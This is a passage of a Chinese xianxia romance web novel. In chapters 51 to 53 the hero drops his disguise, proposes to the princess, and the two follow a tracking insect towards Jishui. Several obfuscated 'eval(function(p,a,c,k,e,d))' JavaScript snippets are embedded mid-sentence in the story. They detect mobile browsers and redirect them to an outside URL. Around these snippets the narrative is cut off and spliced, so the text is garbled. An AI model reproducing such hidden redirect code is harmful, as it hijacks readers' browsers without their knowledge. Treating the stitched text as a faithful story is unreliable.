仔细想想,就算西九岭宠爱“齐鹤扬”让他坐在上手,那剑圣也不可能甘居下位啊……还有方才跟娘亲说话时的那种违和感,她终于知道是什么了。“齐鹤扬”为什么会管齐远山叫齐长老?那是西九岭下意识的纰漏! 所以那个她一直以为的“齐鹤扬”其实是西九岭……他不是云芯蕾的未婚夫,自己没有莫名其妙变成小三! 心头最大的石头落下,怒气就骤然翻滚起来。 假扮谁不好?假扮个齐鹤扬!害她误会这么深,还愁红怨绿、黯然销魂了这半天,差点儿把自己两世人生都给反省了!如今当面掉了马甲还装死,这是不想认错吗?! 她越是冷冷地瞪着西九岭,西九岭越是心底发慌。 按计划他是准备先说服景公主联手对抗魔神再向酒夕告白,而说服景公主的第一步就是为退婚之事诚恳致歉、获取原谅。现在突然告诉他酒夕就是景公主,让他怎么开口请对方原谅自己退婚?他现在都不能原谅自己! 廖辰知道他不爱说场面话,于是主动将话接了过来,“穹山向来与景无犯、睦邻友好,这次掌门登门致歉也是为了双方能继续道义之交,为此穹山也带来了绝对的诚意。” 苏晴沄懒得说官话,只盯着西九岭没有理会。 西九岭则满脑袋都在想怎么才能取消退婚?当众说出来她会接受吗?而且先取消退婚再说出她是杀魔神的关键,会不会让她误会我重修婚约的目的?更关键的是——她喜欢我吗? 这时景王的声音再度响起:“不知廖长老所说的诚意是什么?” 诚意……西九岭猛然间心头一跳,那个诚意不能说!身体比大脑更快做出了反应,他迅速抬起了右手,一道灵力向着廖辰飞去。 廖辰已经张到一半的嘴硬生生被外力合上了,他瞪大眼睛看向自家掌门,不明白究竟出了什么问题? 一旁的壬无情有些不耐烦了,他想的是到了就订婚,订完就可以商量对付魔神的事情了。结果干坐着等了半天,好不容易景公主出来、能进入正题了,怎么又不说了? 不过有一个人比他更急,那就是将所有人拉来、促成这场相亲的画圣文洛川。眼看着就能跟侄孙女邀功了,怎么突然使上禁言术了?难道是要改口不成? 文洛川一拍桌子,瞪眼道:“西九岭!难不成你想出尔反尔!” 同样烦躁的壬无情对着他拍了下桌子,喝到:“穹山掌门,一言九鼎!本尊都来提亲了,还能有假不成?” 西九岭手一松,心道完了。他能封住廖辰的口,却封不住剑圣的口。 苏晴沄眉毛一挑,“提亲?” 壬无情干脆利落道:“不错,本尊已答应掌门师侄,愿与景公主结为道侣。” “答应掌门师侄……”苏晴沄向着西九岭微微一勾唇,“你想让我跟剑圣结为道侣?” 西九岭瞳孔地震。一瞬间,他的求生欲被全面激活,这件事绝对不能认!“不!没有!推举剑圣提亲的是廖辰!我坚决反对!” 文洛川:你果然出尔反尔! 景王夫妇:简直不敢相信,穹山掌门二度撕毁婚约! 廖辰:是谁说要拉拢景公主的?是我吗? 壬无情:究竟还杀不杀魔神? 51. 摘马甲(下) 咔啦一声响,檀木长桌裂开一道缝隙,一金一橙两团灵光在裂缝上方剑拔弩张。金光中绝世剑嗡嗡作响,橙光中破茧笔彩光流转,剑圣与画圣隔桌而对怒目相视、剑拔弩张。 景王一脚踢翻身下座椅,拔出腰间宝剑;景后柳眉倒竖,抬手祭出白玉灵笛。夫妇二人摆开架势,准备随时开战。 廖辰直瞪着双眼,心中万马奔腾。剑圣对画圣,掌门对公主,剩下景王夫妇两个元婴都得他来呗?早知道就拉上温秋水啊! 苏晴沄此刻心中悲怒交加,悲的是自己喜欢的人不喜欢自己,怒的是他竟然给自己介绍了个对象! 西九岭发现局面要失控,顾不上慢慢解释,急喊一句:“穹山是要提亲,但人不是壬师叔!” 此话一出,六道视线齐齐向他投来。不是剑圣提亲,那是谁?穹山这次还来了谁? 转瞬间众人误会满满。苏晴沄、文洛川、景王夫妇,就连壬无情这个穹山自己人都皱着眉头看向了廖辰。 壬无情:改计划怎么也不跟我说一声? 景王夫妇:虽然也是穹山长老,但实力低了一等,闺女拒婚的时候爽感会打折啊! 文洛川:想用元婴替化神,没门儿! 苏晴沄:呵呵。 廖辰在众人的注视下嘴巴张得能塞下一个鸡蛋,我、我吗?出门前没跟我说啊……眼看着以一敌二要变成以一敌四,他转向西九岭奋力疾呼:“掌门!” 西九岭看对面人的反应还觉得奇怪,此时见廖辰欲哭无泪的模样才明白过来众人是会错了意,连忙解释道:“今日是西某前来提亲,希望能与景公主修复婚约!”开弓没有回头箭,如今的形势也只能当众告白了。 一句话出,当啷两声,破茧笔和绝世剑双双掉落。 苏晴沄愣愣地看向西九岭,一时间有些反应不过来,修复婚约?跟谁? 画圣将骂人的话强行咽回腹中,改口问了一句:“啥?” 壬无情和廖辰盯着自家掌门、一脸惊愕,该不会是最近梦见次数太多走火入魔、神志不清了吧? 景后心中大喜,这回打脸力度够了! 景王瞥了眼妻子,压抑着兴奋干咳了一声,问道:“阁下不是要修无情道吗?” 廖辰坐在对面连连点头,当初你说自己要入缚魔阵、死乞白赖退婚的时候确实用了这个借口,我当时还劝你来着,你还记得吗?你的初心呢?! 西九岭被问得面皮一抽,果然自己挖的坑注定要自己填。 他当下把心一横,慨然道:“今日西某初见公主,只觉光彩照人、器宇不凡,草木见其黯然失色,日月不能与之争辉,仙人之姿令某目不能移、心不能忘,甘愿为公主弃无情道,结道侣、共白头!” …… 壬无情:师侄在说啥?每个字我都懂,连在一起怎么听不明白啊? 廖辰:我是不是耳朵坏了?掌门好像在说他倾慕景公主??? 文洛川:原来是对我外孙女一见钟情,倒也难怪。 景王夫妇:闺女!趁现在,上! 苏晴沄嘴角一抽,同行数十日不知你也是编剧。明明知道是彩虹屁,但听了依旧忍不住心跳加速、耳根发烧,因为只要将这段话在大脑中翻译一遍就能得出一个简单的结论:他喜欢她…… 瞥了眼得意洋洋的舅爷和一脸期待的爹娘,她故作姿态绷起脸道:“你跟我来。”说完便昂首阔步走出门去。 能有机会解释,西九岭当然求之不得,当下也不问要去哪里、只管跟上。 景王夫妇:嗳,怎么走了?不是说要当众拒婚的吗? 文洛川:不愧是我外孙女,一句话就让穹山掌门乖乖跟着走! 廖辰:什么情况?前几天传讯还说自己喜欢画圣侍女,今日就对景公主一见钟情,见一个爱一个,这还是他认识的那个掌门吗??? 壬无情:到底还杀不杀魔神?! 几个留在殿中的人大眼瞪小眼,都有些搞不清状况。 景后第一个站起身,踌躇着说道:“那个……我去安排一下茶水。”说完给夫君抛了个眼色、起身出门。 壬无情皱了下眉,对文洛川道:“反正无事,不如打一架?” 文洛川回了他一个白眼,悠哉道:“桃李芬芳,老夫要去寻一处春色收入画中。”说完起身出门。 壬无情哼了一声,“没人打架,本尊去练剑。”说完起身出门。 景王看看廖辰,廖辰看看景王,两人同时扯出尴尬而不失礼貌的微笑,“那咱们也……走走?” 一刻钟后,密室外…… 景后趴在门上听了半天,冲身边同样趴门的丈夫埋抱怨:“修那么严实干吗?” 景王叹道:“沄儿闭关修炼的重地,我哪儿敢怠慢啊?” 廖辰眯着眼在窗户根儿上探头探脑,同样一无所获。 文洛川靠在墙上摆了摆手,“老子都听不到,你们就别费劲了。” 四人面面相觑,突然觉得少了些什么……剑圣难道真的是去练剑了? 密室内,西九岭将事情的始末大致说了一遍。 苏晴沄默默听完才开口问道:“所以修无情道只是为了跟我退婚所想的借口?” 西九岭道:“是廖辰的主意!我认为既然选择退婚,那便是难辞其咎,原因已不重要。”兄弟,委屈你了。 “然后你就去画屏山抢亲了?” “不,是先抢的亲……不对!不是抢亲,我是去截齐鹤扬的。” “截他做什么?” 西九岭迟疑了一下才道:“魔神暴动后我便闭关,梦见魔神一共逃出了三缕魔气,而第一缕的去向便是风扬剑的主人。” “风扬剑……是齐鹤扬拜师时剑圣所赐的灵剑?” “不错。我梦见出第一缕魔气的去向便立刻出关,谁知当时齐鹤扬已经在迎亲的路上,无奈之下只得将他截走。” “齐鹤扬关在穹山?” “不,我将他送去了空那里净化魔气了。” 苏晴沄回想当日去空寂寺情形。西九岭递上的是齐鹤扬的名帖,了空大师却亲自出来迎接,原来是这么回事,“为什么不跟画屏山说明缘由?”人家云芯蕾可大着肚子寻死觅活呢。 “是大师兄求我的。”西九岭回忆起那日出关后跟廖辰和齐远山商议的情景,“若将此事公于天下,那鹤扬便再无出头之日。大师兄一生只得一子,对其期望甚高,故而希望我能为其隐瞒。” “为何再无出头之日?虽然要花些时间,但有了空大师日日诵经,必定能将魔气净化,到时便无碍了啊?” 西九岭默然,脑海中浮现出无尽崖上那一抹白衣。半晌后才叹了口气,说道:“在大师兄心中便是那般认定的。” 苏晴沄本预辩驳,但转念一想,西九岭能与自己一起救下魏宁自然不是迂腐之人,而齐远山怎么想又干自己屁事?于是改口问道:“所以齐鹤扬关在空寂寺,你就顶了他的名头?” 咳! 西九岭垂了下眼皮,然后重新抬起、正视苏晴沄答道:“是廖辰出的主意!他说如此一来齐鹤扬在济水出现的消息就会传开,那些不实的传闻也就不攻自破了。”兄弟,一个锅也是背,两个锅也是背,你就再委屈一次吧! “那今天呢?你本来是要为剑圣提亲的吧?” “是廖辰的主意!”西九岭一口咬定,“我只想尽快安抚文先生。”兄弟,既然已经背了锅,那就背到底吧。 “穹山掌门这么怕画圣吗?” “没办法,谁让我想求娶文先生的侍女。” 苏晴沄微微一怔,随即面颊发烫,这人怎么老是打直球,“求他有用吗?” 西九岭见她没有生气,胆子便更大了些,“那我求你,能让酒夕与我结为道侣吗?” …… 没想到这家伙的脸皮比她还厚,苏晴沄只觉得连脖子都开始发烫了。她几乎要下意识说结就结,可心底终是有个声音冒了出来:我不要再失去亲人…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382369|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母倒在血泊中的情景和奶奶摔下楼的画面,她永远都不会忘记。人生如戏,剧本已定。她或许注定就是失去亲人的命,如果再来一次……不,她不敢! 西九岭见她神情渐渐黯然,不禁心中忐忑起来,“不用急着回答,我可以等!” 苏晴沄捏了捏自己的手指,心底终于有些放松,但马上又浮起了愧疚之情。他们两人都隐瞒了身份,西九岭将前因后果说了个明明白白,她却必须有所隐瞒。 她深吸口气,举目看向眼前人,“你可不可以答应我一件事?” “当然!”别说一件了,十件、百件也行啊! 苏晴沄极力掩藏着眼底的不安,直视男人的眼睛问道:“不要死于非命。” 西九岭明显怔了一下,然后一双笑眼望进了女人的眼底,柔声道:“好,我答应你。”堂堂化神,想死于非命也不容易啊。 苏晴沄读懂了他心中所想,也觉得为仙门第一人的安危担忧确实是瞎操心,或许这一世她的命改了呢?又或许只做男女朋友就没问题呢?“那咱们就先交往一段时间看看吧?” “交往?” “就是谈恋爱。” 西九岭愕然,恋爱……这么直接的吗?不过他喜欢。“可以!你想怎样都可以!” “怎样都可以吗?” “嗯!” 苏晴沄看着他的眼睛一字一句问道:“一辈子只谈恋爱、不成亲,也可以吗?” 西九岭怔了一下,然后看着那双认真中隐藏着怯意的眸子,肯定道:“只要你想,一辈子不给我名分也可以!” 咳!你一个仙门第一人说我坑你名分…… 被他这么一说,苏晴沄总算松弛了下来,转而便想起来一件事,“对了,你说之前退婚是为了准备入缚魔阵,那现在呢?” 西九岭这才想起来正事还没说,于是整理了一下思绪道:“之前一直没敢对你表白便是担心此事,于是从皓城回到穹山后我又做了一次梦见,确定魔神是可以杀死的。” 苏晴沄双眼一亮,“怎么杀死?” 西九岭摇了摇头,“梦见并不能显示具体,只知道杀死魔神的方法与你有关。” “我?” “对。我起念杀死魔神的方法,梦见的画面是一名女子在白光中手持琉光剑冲向魔神。” “没有斩杀魔神的画面?” 西九岭点了点头。 “那怎么能确定魔神被杀死了?又怎么肯定是我杀的呢?” “一,如果魔神不能杀死,我起念后梦见的只会是一片虚无。二,其实并不能肯定是你杀死的魔神,但梦见出现了你,证明你与杀死魔神一事密切相关。” 苏晴沄渐渐理解了梦见的规则,“所以说,你原本是为了跟酒夕告白来骗景公主去卖命杀魔神的?” 咳! “当时不知道你就是酒夕,如今杀不杀魔神由你做主。” “我当然想杀,可问题是怎么杀啊?” “你突破化神时有没有领悟什么特殊的法术?” 苏晴沄两手一摊,一脸无奈。人家穿越过来要么带房、要么带宠、要么带攻略,她倒好,就带了个塑料袋过来,总不能是塑料袋克制魔神吧? 正没有头绪,两人袖中的传讯符同时闪烁起来。 苏晴沄这边是古詹发来的消息,西九岭那边是冰帝发来的消息,内容都一样:避鳞虫驯养完成了! 两人并肩走出密室,就见文洛川靠在门槛上数自己的胡子,景王夫妇和廖辰在门前来回打转。 苏晴沄狠狠瞪了一眼廖辰,甩袖腾空。 西九岭撂下一句:“有天神教的线索,我们先行一步。”然后急急追上。 文洛川眨眨眼一头雾水,“天神教?” 景王夫妇连忙为他说明女儿跟穹山一起追查天神教的事情。 廖辰则立在原地双腿发颤,那一眼的威压差点儿就让他站不住了。自己是什么时候得罪了这位化神姑奶奶,求告知! 52. 月明雪原 西九岭、苏晴沄、姬霜,三人再次会面于凌国皇宫的大殿上,情景却与前次大不相同。 姬霜看着恢复身份的两人,眼皮忍不住跳了一下,“所以你们二人退婚之后一直并肩同行?”而且还一副郎情妾意的样子?虽然化神所见超然、自当脱俗,但这也太脱俗了吧…… 西九岭觉得过程辗转复杂、不便多说,于是简单解释了两人现在的关系:“西某已向景王提出修复婚约,不过还要晴沄同意才行。” 什么叫还要晴沄同意才行?说的她跟渣女似的,也不知当初是谁退的婚?苏晴沄当即抬手,借着衣袖的遮掩掐了身边人一把。 西九岭吃痛却不敢出声,有些委屈地看了她一眼。 姬霜自然看到了两人打情骂俏的小动作,但并没做出相应的反应,因为她已经被西九岭那一句回答中所隐含的信息惊呆了。 外界传闻都说是西九岭提出退婚的,她也一直是这么认为的,可现在看来却是景公主不想成亲啊!曾经让她这个凌王也不得不低头的穹山掌门、当今仙门第一人难道是顺从景公主的意思才退的婚吗?!所以这两人一路同行其实是西九岭在追苏晴沄,而且听这意思是要一心一意等到这位景公主同意成亲为止??? 不想不要紧,一想就有些佩服面前这位新晋化神的大景公主了。居然能让一贯不近女色的穹山掌门倾心不渝,姑娘,你是怎么做到的? 苏晴沄一抬头就对上姬霜那意味深长的注视,忍不住嘴角一抽。看,被误会了吧!她明白解释就是掩饰的道理,于是选直接岔开话题:“不知凌王阁下打算何时放出避鳞虫?” 说到正事,姬霜的神情便严肃了几分,“如今化神满九,却有一人身份不明,十之八九便是那天神教教主,搜索圣殿之事还需有化神才能稳妥。可如今凌国上下正全力搜查飞云宗的同党,诸事需孤决断、不能轻离。所以想问二位道友,是否能随古詹先生走一趟?” 西九岭点了下头,“如此最是稳妥。不过我二人的身份还需隐瞒,以免消息泄露、天神教有所提防。” 此时说起自然是连古詹先生也要瞒着,姬霜心中多少有些不快,但想到天神教那些搜神之类的阴损手段便没有反对。 就这样,苏、西二人护着古詹,三人跟随避鳞虫离开了皓城。 避鳞虫随环境变色,肉眼追踪十分困难。虽然持续开启神识对西、苏二人并不费力,但古詹还是使用了一种更便捷的方式——金灵鸟。 这是一种雪国独有的鸟类灵兽,因喜食金灵花的花蜜而得名。金灵花只在高原生长,且数量稀少。因此金灵鸟就进化出了一种超强的嗅觉能力,能够闻到百里之外的金灵花香,然后凭借其惊人的飞行耐力去觅食。雪国人利用这种特性,将金灵花的花蜜提取出来涂抹在猎物身上、让其引路,故而此鸟还有个俗称叫引路鸟。 金灵鸟追踪着涂抹了金灵花花蜜的避鳞虫,时而穿过森林、时而飞跃山川,索性三人中最弱的古詹也有元婴修为,跟随起来并不费力。 暮色将至的时候,古詹取出了一个小瓷罐、打开,里面是他为避鳞虫专门调制的食料。 瓷罐的盖子一开,金灵鸟的身形就停了下来,然后开始往回飞,最终停落在古詹的手臂上,避鳞虫则趴在瓷罐边缘大快朵颐。 不多时,古詹将饱餐后的避鳞虫收入了竹筒。抬眼见两人面露疑惑,他解释道:“避鳞虫日间每个时辰能走三百里,金灵鸟跟随没有问题。但夜间,避鳞虫的行进速度会大幅提升,每个时辰能走五百里,金灵鸟就难以跟上了。而且,”他摸了摸金灵鸟的羽毛,“金灵鸟也需要休息。” 苏晴沄抬头环顾四周,发现他们正处于一片奇特的山地边缘。一座座山峰耸立相接,如一根根天庭立柱探向云端,这些立柱层叠错落、连绵蜿蜒,仿佛一道山墙矗立西方、隔断了去路。 “是戈尔山。”西九岭在旁说道。 熟记各国堪舆的苏晴沄心中一动,“翻过去就是雪国高原了?” 她转头看向古詹,后者眼中划过一丝黯然。 他看了眼熟悉而久违的山地,最终还是说道:“今日咱们就在山脚下休息,明早日出后再放避鳞虫。” “别啊!”苏晴沄指着戈尔山道,“我还没去过雪国呢,就隔一座山,去看看呗。” 古詹现出犹豫之色。这里恰好是凌国、雪国、穹山,三地交界。根据之前的路线可以判断避鳞虫的目的地不在凌国境内,但接下来是向西去雪国还是向南入穹山,他们无法确定。贸然选择方向很可能产生不必要的绕行。 多年未归的家乡他自然想去,可是…… “好。”与他的反应不同,西九岭直接而干脆的表示同意,然后才想起什么似的转身问他,“避鳞虫能去高原吧?” 古詹微微一怔,说道:“避鳞虫没有问题,只是凌王交代……” “那就好。”西九岭没等他说完就转回身去拉起了苏晴沄的手,“高原上的月亮最美,你定然喜欢。” “你看过?” “年……当年下山历练时看过。” “跟谁?” “自己。” 看着两人御剑飞去的背影,古詹的眼中有些闪烁,胸口涌过一股暖流。 雪国的边境没有人烟,五月的高原也还未到草长莺飞的季节,孤单的树影矗立在广袤无垠的大地上显得格外苍凉,只有无尽的风声呜呜、不绝于耳。 而正是这样的苍凉与广袤撑起了一片无边无垠的黑色天幕,玉盘般的月亮在这张天幕上静静悬挂着——明亮、皎洁、硕大。 是的,这是苏晴沄有生以来第一次觉得自己离月亮这么近,仿佛只要御剑而上便能轻易够到,“我还是第一次见到这么大的月亮。”她忍不住感叹。 百米开外的地方,古詹摘下颈上的骨雕项链,用双手撑开两端、高高托起,然后向着月亮跪地、叩首,再起身、放下高举的手臂,口中念念有词。之后又举起双臂、跪地、叩首,重复之前的动作、循环往复。 西九岭笑着从储物袋取出两个酒壶,将其中一个递了过去,“这次我带酒了。” 苏晴沄想起两人在荒坡看月亮时说过的话不禁莞尔,伸手接过酒壶、打趣道:“在破窝棚里装瘫一个时辰的感受如何?”无聊不?憋屈不? 西九岭嘴角上扬,露出八颗洁白的牙齿,“感觉身边这姑娘难以捉摸,又好看的要命。” 苏晴沄猛地被灌了口蜜汤,面颊微微发烫。她举起酒壶喝了一口掩饰羞涩,却不料琼浆下肚更觉燥热。 西九岭也举起自己手中的酒壶喝了一口,目光却始终留驻在眼前人的身上,“那时候我就想,如果能知道她在想什么就好了。” 苏晴沄秋波一动,“现在你知道了吗?” 西九岭神情认真地摇了摇头,然后幽幽道:“我连她喜不喜欢我,都不知道。” 掠过大地的风声渐渐远去,苏晴沄只觉得耳畔尽是自己心跳的声音,发烫的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏晴沄很有眼力见的将酒壶递了过去,“雪国的真神是月亮吗?” “不是雪国的真神,是全天下的真神,唯一的真神。”古詹接过酒壶灌了一口,然后用粗布衣袖抹去嘴边溢出的酒水,抬头看向夜空中那洁白无瑕的玉盘,“月亮也不过是真神的映照。” “那真神究竟是什么?” “真神无影无形,却无处不在。祂可以是山,可以是花,可以是世间的一切。” “也可以是你、我吗?” “可以。” “那,”苏晴沄心中一动,看向他问道,“也可以是魔神吗?” 古詹送到嘴边的酒壶停了下来,他眯起眼看向眼前的小姑娘,从喉咙深处发出一声嘶哑的轻笑,“可以。” 苏晴沄点了点头,“原来雪国的信仰是这样的。” 古詹有些意外,“你不生气?” “为什么要生气?”苏晴沄一问出口就反应了过来,“因为您说魔神也是真神的映照吗?” 古詹点了下头。 “可您这么说不就等于说魔神不是真神吗,这跟我的观点是一致的啊。” 古詹怔了一下,他之前遇到的那些人可不是这种思路。紧接着,他拍着腿哈哈大笑,“你这女娃娃果然有趣!” 笑罢,他的神情突然严肃起来,“女娃娃,老朽看你顺眼,忍不住要唠叨一句。”说着,朝西九岭的方向扬了扬下巴,“那个叫齐鹤扬的小子不是好东西,离他远点儿。” 苏晴沄想起方才被老人撞到的情景,以拳抵唇干咳了两声。 古詹继续道:“老朽听说,那小子有个未婚妻,还没成亲就把人家肚子搞大了。”他瞄了眼苏晴沄的小腹,警示的眼神意味深长,“长点儿心!” 不!我不是,我没有,我只打算接个吻,而且还失败了!!! 53. 避鳞虫遇袭 事实证明,避鳞虫是要向穹山地界行进的。 它引着三人一路向南,虽然偶尔朝东蜿蜒却始终没有越过云河,就这样沿着河岸线走了三天。 眼看着前面就快到济水城了,苏晴沄忍不住疑惑,“是济水?” 西九岭也有同样的疑问,圣殿的位置难道会在济水吗?一瞬间,他不禁又回想起梦见中的场景——佩戴着铜钱的男子走进了济水城门。 苏晴沄靠近他,压低声问道:“梦见中的人真是卢严吗?” 是卢严吗? 在济水看到卢严身上的魔气和铜钱时,他是这么以为的。但接下来的调查却令他产生了疑问。 首先,如果梦见的是卢严,那魔神的运气太差了。逃出的第一缕在齐鹤扬身上,很快被找到;第二缕魔气在卢严身上,卢严又暴毙。 其次,如果梦见的是卢严,那铜钱应该与他高度相关,可根据卢雪的供词,卢严在去往济水前从没戴过这枚铜钱。 如果避鳞虫的目的地是济水,那么卢严的身份就更值得怀疑了。 “咱们之前以为卢严是去济水前得到的铜钱,”苏晴沄继续道,“可去黎村查到的却是徐翰的线索,铜钱根本没在黎村出现过。现在想来,有没有可能卢严根本就没戴着铜钱进城?” 心底的疑问被说出来,西九岭神色不觉凝重,一个更加难以面对的问题呼之欲出。 “那枚铜钱是卢严在济水城里得到的。”苏晴沄的语气几乎是肯定的。 如果这样…… “如果这样,那么你梦见的就不是卢严,而那个人在你到达济水前将铜钱给卢严是为了李代桃僵。”苏晴沄面色渐渐凝重,“那人知道你会使用梦见,也知道你梦见的内容。” 西九岭已经顾不上李代桃僵是个什么典故,在心里盘点起了知晓梦见规则的人,“梦见内容我只在出发前告诉了廖辰,而卢严却是一个月前就出发去往济水,也就是说魔神暴动时天神教就已经想到了我会使用梦见术,并且清楚梦见术会给出怎样的提示。” “那就是了解梦见术规则的人?”苏晴沄蹙眉,“穹山内部人应该都能猜到你会用梦见术找寻魔气吧?了解规则的人想来也不会少。”如此一来嫌疑范围岂不是很大? 西九岭却微微摇头道:“知悉此术的人很多,但了解详情的却很少。我仔细想了想,当世熟知梦见规则的只有九人而已。” “哪九人?” “穹山七长老,廖辰、李毅、宋煜成、陆燚、温秋水、齐远山、玉玦,以及壬师叔和了空大师。” “了空大师治好了齐鹤扬,嫌疑应该可以排除。” “这次回穹山,我看了壬师叔的剑。他的剑意依旧,而且已经隐隐有了突破之象,也可以排除。” “那就是七位长老的嫌疑最大了?” “飞云宗秘洞中找出的那些灰烬中有‘降临’的字样,参见逢尤之乱,应该可以猜测这次魔神暴动、魔气潜逃的目的应该也是借住天神教的力量破开缚魔阵。” 苏晴沄一惊,“献祭生人?!” “还不能确定他们这次会用什么手段,但可以肯定玉玦也可以排除嫌疑。” “为什么?” “因为缚魔阵毁,阵眼必亡。” 苏晴沄点头表示同意,用自杀成就他人,除非脑子有病。 “而且二师兄与我亲如兄弟,”西九岭又补充道,“他自幼便以天下为己任,又最是敬重先师,断然不会背叛师门的。” 那一句亲如兄弟将角落中的记忆挖了出来,苏晴沄想起自己少年时曾有穹山双壁的说法,指的便是西九岭和玉玦这对师兄弟,两人似乎都是玉城大劫的遗孤…… 看着男人温暖的眼神,她不觉有些羡慕两人从出生便紧密连接的关系,同时又为其中一人成为缚魔阵的阵眼、好友无法相聚感到怅然。 走在前面的古詹回头张望了一眼,见两人在说话便说了一声:“快到济水了。”然后继续跟随金灵鸟前行。 苏、西二人对视一眼,同时收敛了气息。这是三人定下的规矩,只要接近城镇就隐匿气息,以免惊动城内修士带来不必要的麻烦,古詹提醒也是为此。 西九岭加快了一些速度,以免落得太远,同时压低声音道:“另外,我认为廖辰和齐远山也可以排除。” “排除齐远山我可以理解,毕竟他儿子是第一个受害者。可你凭什么排除廖辰?” “一则,他是先师临终前推荐之人,我相信先师的眼光。二则,”西九岭顿了一下,神色变得有些尴尬,“他很积极地想要促成你、我二人的联手。” 苏晴沄想起廖辰提议剑圣与她缔结婚姻的事情,脸色有点发黑,但不得不承认天神教的细作肯定不会干这种事。如此一来就只剩下四个人有嫌疑了。 “我会传讯给廖辰,让他暗中调查其余几人。” 正说着,前方的金灵鸟出现了异状,先是在半空中停滞了一下,然后猛地右转向西飞去。 西、苏二人对视一眼,难道不是济水? 两人加快速度跟上古詹。但只向西行了不到一里,那金灵鸟就再次停滞下来。与前次不同的是,这一次金灵鸟并没有进一步的行动,只是在一片灌木前方不停扇动着翅膀盘旋。 “不好!”熟悉灵兽习性的古詹最先做出了反应,他迅速放开神识,同时向前越过金灵鸟冲进了灌木丛。 西、苏二人看到他这反应也知道出了状况,同样放开神识向前。 而此刻的古詹已经拨开灌木丛,在神识之下可以清楚的看到那只带着他们一路走来的避鳞虫此时正停在一株灌木的下方、身形微微蠕动,似乎是在吃什么东西。 而就在古詹将他那骨节巨大的粗糙手掌探向小虫的瞬间,一只黑红相间的小兽从灌木另一端蹿了出来,张开尖利的牙齿、一口咬住了避鳞虫。 ——————————————无尽深渊的分割线—————————————— 无尽崖上,玉玦一袭白衣端坐在缚魔阵的阵眼之上。 他此时微闭着双目,白皙如玉的面庞沉静无波,两道剑眉潇洒自如,薄唇间仿若含着笑意,只是额角上不断渗出的汗珠昭示着他此刻的状态并不轻松。 一团淡蓝色的薄雾包裹在他周身,仿佛一层薄纱轻轻覆着而上。但每每接触到裸露在外的皮肤,便有黑色魔气浮出与之缠斗。就这样一来二去,蓝雾越来越淡,玉玦额角的汗珠也不断顺颊而下。 直到最后,蓝雾全部消去,玉玦才停止了出汗,缓缓睁开眼看向崖边的两人扯出一抹微笑,“不要再为我浪费丹药了。” 廖辰感觉身边的温秋水双肩微微颤动了一下,心中隐隐生出一丝不安,只怕状况比想象中的还要糟糕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434231|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温秋水俯下身去收起了药瓶和熏炉,淡淡道:“这蓝莲花制成的驱魔丹若不用在此时便也只能在库房里落灰了。” 玉玦露出如水般温润的笑意,云淡风轻道:“总要留些给九岭。” 温秋水心中叹了一声,就是那个西九岭让她把能用的丹药都拿出来的啊。 廖辰明白玉玦已经做好了赴死的准备,但他也清楚西九岭不想见到这样的结果,“师弟莫要颓然,掌门他……会想办法的。” 玉玦笑着闭上了眼睛,他清楚自己的身体状况,也清楚廖辰说的话不过是安慰。 廖辰看了看温秋水,后者则默然转身。他想了想,确实也不能再说什么,于是跟着转身。可就在他准备离去时,身后又传来了玉玦的声音。 “宋长老进阶了吗?” 廖辰背对着无尽崖的面孔上现出了一丝伤感。被这无尽深渊的屏障隔绝,玉玦还不知道化神满九之事,西九岭便是借着这一层便利将宋长老冲击化神的谎言说给了玉玦。 不,其实也不算谎言,毕竟宋长老已经元婴后期大圆满,只是这冲击化神注定要等到阵眼中人陨落了……他定了定神,继续了这个半真半假的谎言:“快了。” 玉玦欣慰的声音从身后传来:“让九岭放心,我会撑到那时候的。” 廖辰心底一阵收紧。他这位师弟自幼失去家人,虽然成为前代掌门的亲传弟子,却年纪轻轻便不知为何被罚入了思过崖,从此郁郁不得志,图有才华却不得重用,突破化神也只落了个接替缚魔阵的结局,如此苦难的一生,居然临终前最关心的还是自己的挚友。 虽然与这位师弟并不熟悉,他却不得不替西九岭感叹一声:得友若此,夫复何求。 或许也正因如此,西九岭才至今也没有放弃将他从缚魔阵中解救出来的念头吧?这两人的友情显然不是一条无尽深渊能够隔开的。 离开之后,温秋水忍不住问他:“掌门没跟他说化神已经满九?” 廖辰几不可闻地叹了一声,“掌门希望玉师弟最后的日子能过得轻松一些。” 温秋水忍不住回头看了眼那已经紧闭的黑色大门,想到掌门不久后也要进入那里、不觉怅然。西九岭和玉玦这对玉城大劫的遗孤最终也都逃不过为魔神葬送生命的结局吗? “玉师弟他,如何?”廖辰问道。 “无法探脉难以知晓详细。但按玉长老自己内视的情况看,只怕魔气已经攻破了他的心脉,无法根除了。” “驱魔丹也不行吗?” “看今日的情形,驱魔丹的作用已经不大,聊胜于无罢了。” “就没有其他办法了吗?”哪怕多拖延一些时日也好。 “心脉,气血之根、生息之本。不治心脉无以治五脏,天寿必绝。若是在平常,或许还能用些手段,可他在缚魔阵中……能做的太少了。” 廖辰默然不语,半晌才问道:“你觉得,还有多久?” 温秋水的目光微微闪烁几下,最终叹了口气,幽幽道:“一个月。” “什么?!”廖辰大惊,居然只有一个月了吗?这么短的时间,掌门和景公主能找出杀死魔神的方法吗? 